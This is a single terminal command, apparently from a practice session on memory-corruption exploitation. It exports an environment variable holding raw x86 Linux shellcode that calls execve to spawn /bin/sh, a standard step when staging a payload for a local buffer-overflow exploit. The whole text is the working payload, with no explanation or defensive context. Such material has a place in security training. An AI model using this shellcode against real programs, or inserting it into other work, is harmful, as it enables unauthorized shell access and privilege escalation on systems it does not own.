ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb
\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53
\x89\xe1\xb0\x0b\xcd\x80"'`